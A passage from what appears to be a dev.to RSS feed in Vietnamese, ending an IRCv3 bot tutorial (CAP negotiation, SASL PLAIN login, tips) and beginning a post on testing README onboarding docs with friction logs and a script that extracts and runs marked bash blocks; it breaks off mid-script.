            &lt;span class="n"&gt;available&lt;/span&gt; &lt;span class="o"&gt;|=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;()}&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;*&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;  &lt;span class="c1"&gt;# dòng LS cuối cùng
&lt;/span&gt;                &lt;span class="nf"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;CAP REQ :&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt; &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;sorted&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;WANTED&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;available&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;
        &lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="n"&gt;cmd&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;CAP&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;ACK&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="nf"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;AUTHENTICATE PLAIN&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;sasl&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;CAP END&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="n"&gt;cmd&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;CAP&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;NAK&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="nf"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;CAP END&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="n"&gt;cmd&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;AUTHENTICATE&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;+&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;cred&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;NICK&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="se"&gt;\0&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;NICK&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="se"&gt;\0&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;PASSWORD&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
            &lt;span class="nf"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;AUTHENTICATE &lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;base64&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;b64encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cred&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
        &lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="n"&gt;cmd&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;903&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;904&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;905&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;  &lt;span class="c1"&gt;# SASL ok / fail
&lt;/span&gt;            &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;SASL:&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
            &lt;span class="nf"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;CAP END&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="n"&gt;cmd&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;001&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="nf"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;JOIN #vn-dev-test&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="n"&gt;cmd&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;PRIVMSG&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;who&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;prefix&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;split&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;!&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
            &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;tags&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;time&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;?&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;] &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; &amp;lt;&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;who&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;&amp;gt; &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;!ping&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;who&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="n"&gt;NICK&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="nf"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;PRIVMSG &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;params&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; :pong&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="n"&gt;writer&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;drain&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="n"&gt;asyncio&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Chạy thử:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;IRC_PASSWORD&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'mat-khau-nickserv'&lt;/span&gt;
&lt;span class="nb"&gt;nohup &lt;/span&gt;python3 bot.py &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; bot.log 2&amp;gt;&amp;amp;1 &amp;amp;
&lt;span class="nb"&gt;tail&lt;/span&gt; &lt;span class="nt"&gt;-f&lt;/span&gt; bot.log
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Có vài lưu ý từ kinh nghiệm thực tế:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Phải gửi &lt;code&gt;CAP END&lt;/code&gt; trong mọi nhánh&lt;/strong&gt;, kể cả khi SASL fail (904). Nếu quên, server sẽ treo registration và tự ngắt kết nối sau khoảng 30-60 giây. Đây là bug phổ biến nhất.&lt;/li&gt;
&lt;li&gt;Payload SASL PLAIN có dạng &lt;code&gt;authzid\0authcid\0password&lt;/code&gt;. Nếu payload dài hơn 400 byte, bạn phải chia thành nhiều chunk. Password bình thường thì không cần lo chuyện này.&lt;/li&gt;
&lt;li&gt;Có &lt;code&gt;echo-message&lt;/code&gt; thì message của bot cũng quay về qua &lt;code&gt;PRIVMSG&lt;/code&gt;. Vì vậy cần check &lt;code&gt;who != NICK&lt;/code&gt;, nếu không bot sẽ tự trả lời chính nó và bị flood.&lt;/li&gt;
&lt;li&gt;Nếu chạy production, hãy dùng SASL &lt;code&gt;EXTERNAL&lt;/code&gt; với client certificate thay cho password. Libera.Chat hỗ trợ phương thức này qua CertFP.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Kết luận
&lt;/h2&gt;

&lt;p&gt;IRCv3 là ví dụ đẹp về cách nâng cấp một giao thức 30 năm tuổi mà không làm hỏng hệ sinh thái. Những gì bạn nên làm ngay:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Thử raw protocol bằng &lt;code&gt;openssl s_client&lt;/code&gt;&lt;/strong&gt; trước khi viết code. Mất 5 phút nhưng bạn sẽ hiểu flow rõ hơn nhiều so với đọc tài liệu.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Luôn bắt đầu bằng &lt;code&gt;CAP LS 302&lt;/code&gt;&lt;/strong&gt; và chỉ &lt;code&gt;REQ&lt;/code&gt; những capability mà server thực sự có. Phải xử lý cả LS nhiều dòng lẫn &lt;code&gt;NAK&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Dùng SASL thay cho &lt;code&gt;PRIVMSG NickServ IDENTIFY&lt;/code&gt;&lt;/strong&gt;. Cách này hết race condition, và một số mạng bắt buộc SASL với dải IP từ cloud.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Lấy timestamp từ tag &lt;code&gt;server-time&lt;/code&gt;&lt;/strong&gt;, đừng dùng &lt;code&gt;datetime.now()&lt;/code&gt;. Log sẽ đúng giờ UTC, kể cả khi nhận lại message cũ qua bouncer.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Viết parser riêng có unit test&lt;/strong&gt; cho tag escaping. Đây là chỗ dễ sinh bug nhất và cũng dễ test nhất.&lt;/li&gt;
&lt;li&gt;Mang tư duy &lt;strong&gt;capability negotiation&lt;/strong&gt; vào protocol của chính bạn: client và server thỏa thuận tính năng, không ai giả định ai đó đã được nâng cấp.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Bot 60 dòng ở trên đủ làm nền cho notifier CI/CD, bot alert server, hoặc bridge sang Telegram. Nó không cần SDK hay vendor lock-in nào, chỉ cần TCP, TLS và một spec mở.&lt;/p&gt;

</description>
      <category>irc</category>
      <category>python</category>
      <category>networking</category>
      <category>protocols</category>
    </item>
    <item>
      <title>Your README Is Lying to You: Test Your Onboarding Docs Like You Test Code</title>
      <dc:creator>EME GUG</dc:creator>
      <pubDate>Sun, 11 Oct 2026 14:22:48 +0000</pubDate>
      <link>https://dev.to/eme_gug_0821b41b948be6516/your-readme-is-lying-to-you-test-your-onboarding-docs-like-you-test-code-3l33</link>
      <guid>https://dev.to/eme_gug_0821b41b948be6516/your-readme-is-lying-to-you-test-your-onboarding-docs-like-you-test-code-3l33</guid>
      <description>&lt;p&gt;Tuần này trên Hacker News có một bài lên top khá thú vị: tác giả trả tiền cho người lạ chỉ để họ làm theo README của project. Kết quả đúng như dự đoán: rất nhiều người kẹt ngay từ mấy bước đầu. Đọc xong mình thấy hơi nhột, vì mình cũng từng viết README kiểu \"chạy &lt;code&gt;make setup&lt;/code&gt; là xong\", trong khi thực tế máy mình đã cài sẵn 7 thứ mà mình quên mất. Nếu bạn maintain một open source project, một internal tool hay chỉ là repo cho team mới vào, thì README chính là &lt;strong&gt;trải nghiệm đầu tiên&lt;/strong&gt; của người dùng. Bài này chia sẻ cách mình test README một cách có hệ thống: từ test thủ công với người thật cho đến tự động hoá trong CI.&lt;/p&gt;

&lt;h2&gt;
  
  
  Tại sao README luôn \"mục\" theo thời gian
&lt;/h2&gt;

&lt;p&gt;Code có test, có type checker, có linter. README thì không có gì cả. Nên nó hỏng âm thầm theo vài kiểu quen thuộc:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Implicit dependency&lt;/strong&gt;: bạn cài &lt;code&gt;jq&lt;/code&gt;, &lt;code&gt;pnpm&lt;/code&gt;, Docker từ 2 năm trước nên quên không ghi vào phần Prerequisites.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Version drift&lt;/strong&gt;: README ghi &lt;code&gt;Node 16&lt;/code&gt;, còn &lt;code&gt;package.json&lt;/code&gt; đã yêu cầu &lt;code&gt;&amp;gt;=20.11&lt;/code&gt; từ lâu.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Bước bị bỏ qua&lt;/strong&gt;: thiếu &lt;code&gt;cp .env.example .env&lt;/code&gt;, nên app crash với một lỗi chẳng ai hiểu nổi.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Lệnh đã đổi tên&lt;/strong&gt;: script &lt;code&gt;npm run dev&lt;/code&gt; đã đổi thành &lt;code&gt;npm run start:dev&lt;/code&gt; sau một lần refactor.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Vấn đề cốt lõi là &lt;strong&gt;người viết README là người duy nhất không thể test nó&lt;/strong&gt;, vì máy của bạn đã ở trạng thái \"mọi thứ đều chạy\". Muốn test được README, bạn cần một môi trường &lt;em&gt;sạch&lt;/em&gt;: một người khác, hoặc một container trắng tinh.&lt;br&gt;
&lt;/p&gt;

&lt;pre data-lang="mermaid"&gt;&lt;code&gt;flowchart LR
    A[Dev viết README] --&amp;gt; B[Máy dev đã có sẵn tool]
    B --&amp;gt; C[Test thấy OK]
    C --&amp;gt; D[Người mới clone repo]
    D --&amp;gt; E{Thiếu dependency?}
    E --&amp;gt;|Có| F[Kẹt, bỏ cuộc]
    E --&amp;gt;|Không| G[Chạy được]&lt;/code&gt;&lt;/pre&gt;



&lt;h2&gt;
  
  
  Bước 1: Test thủ công với người thật và ghi friction log
&lt;/h2&gt;

&lt;p&gt;Không cần trả tiền cho người lạ như tác giả bài HN. Mình hay làm thế này: nhờ một bạn trong team &lt;strong&gt;chưa từng đụng vào repo&lt;/strong&gt; (hoặc intern mới), đưa link README, rồi ngồi im quan sát. Luật chơi rất đơn giản:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Người test chỉ được đọc README, không được hỏi mình.&lt;/li&gt;
&lt;li&gt;Người test vừa làm vừa nói ra suy nghĩ (think-aloud).&lt;/li&gt;
&lt;li&gt;Mình chỉ ghi chép, &lt;strong&gt;tuyệt đối không nhắc&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Đoạn khó nhất là ngồi im khi thấy người ta loay hoay. Nhưng chính những lúc đó mới lộ ra lỗ hổng. Mình ghi lại vào một file &lt;code&gt;friction-log.md&lt;/code&gt; theo format sau:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;| Thời điểm | Bước trong README | Chuyện gì xảy ra | Mức độ |
|-----------|-------------------|------------------|--------|
| 02:10 | Install | Không biết cần Python 3.12, máy có 3.9 | Blocker |
| 05:45 | Config | Không biết lấy API_KEY ở đâu | Blocker |
| 09:30 | Run | Port 8080 bị chiếm, không có hướng dẫn đổi port | Minor |
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Một buổi 30 phút thường cho mình 5-10 vấn đề. Mấy dòng Blocker phải fix ngay. Những chỗ Minor thì gom lại thành một mục Troubleshooting ở cuối README.&lt;/p&gt;

&lt;h2&gt;
  
  
  Bước 2: Biến README thành thứ chạy được
&lt;/h2&gt;

&lt;p&gt;Test với người thật thì tốn công, không làm mỗi tuần được. Nên mình tự động hoá phần có thể tự động: &lt;strong&gt;các lệnh shell trong README&lt;/strong&gt;. Ý tưởng là đánh dấu những code block cần test bằng một tag riêng trong info string của fence, ví dụ &lt;code&gt;bash readme-test&lt;/code&gt;. GitHub vẫn highlight là bash bình thường vì nó chỉ đọc từ đầu tiên.&lt;/p&gt;

&lt;p&gt;Sau đó viết một script Python nhỏ để extract và chạy chúng:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;#!/usr/bin/env python3
# scripts/readme_runner.py
&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;subprocess&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;pathlib&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Path&lt;/span&gt;

&lt;span class="n"&gt;FENCE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;`&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;
&lt;span class="n"&gt;BLOCK_RE&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;compile&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;FENCE&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="sa"&gt;r&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;bash readme-test\n(.*?)&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;FENCE&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;DOTALL&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;


&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;extract_blocks&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
    &lt;span class="n"&gt;text&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;Path&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nf"&gt;read_text&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;encoding&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;utf-8&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;BLOCK_RE&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;findall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;


&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="bp"&gt;None&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
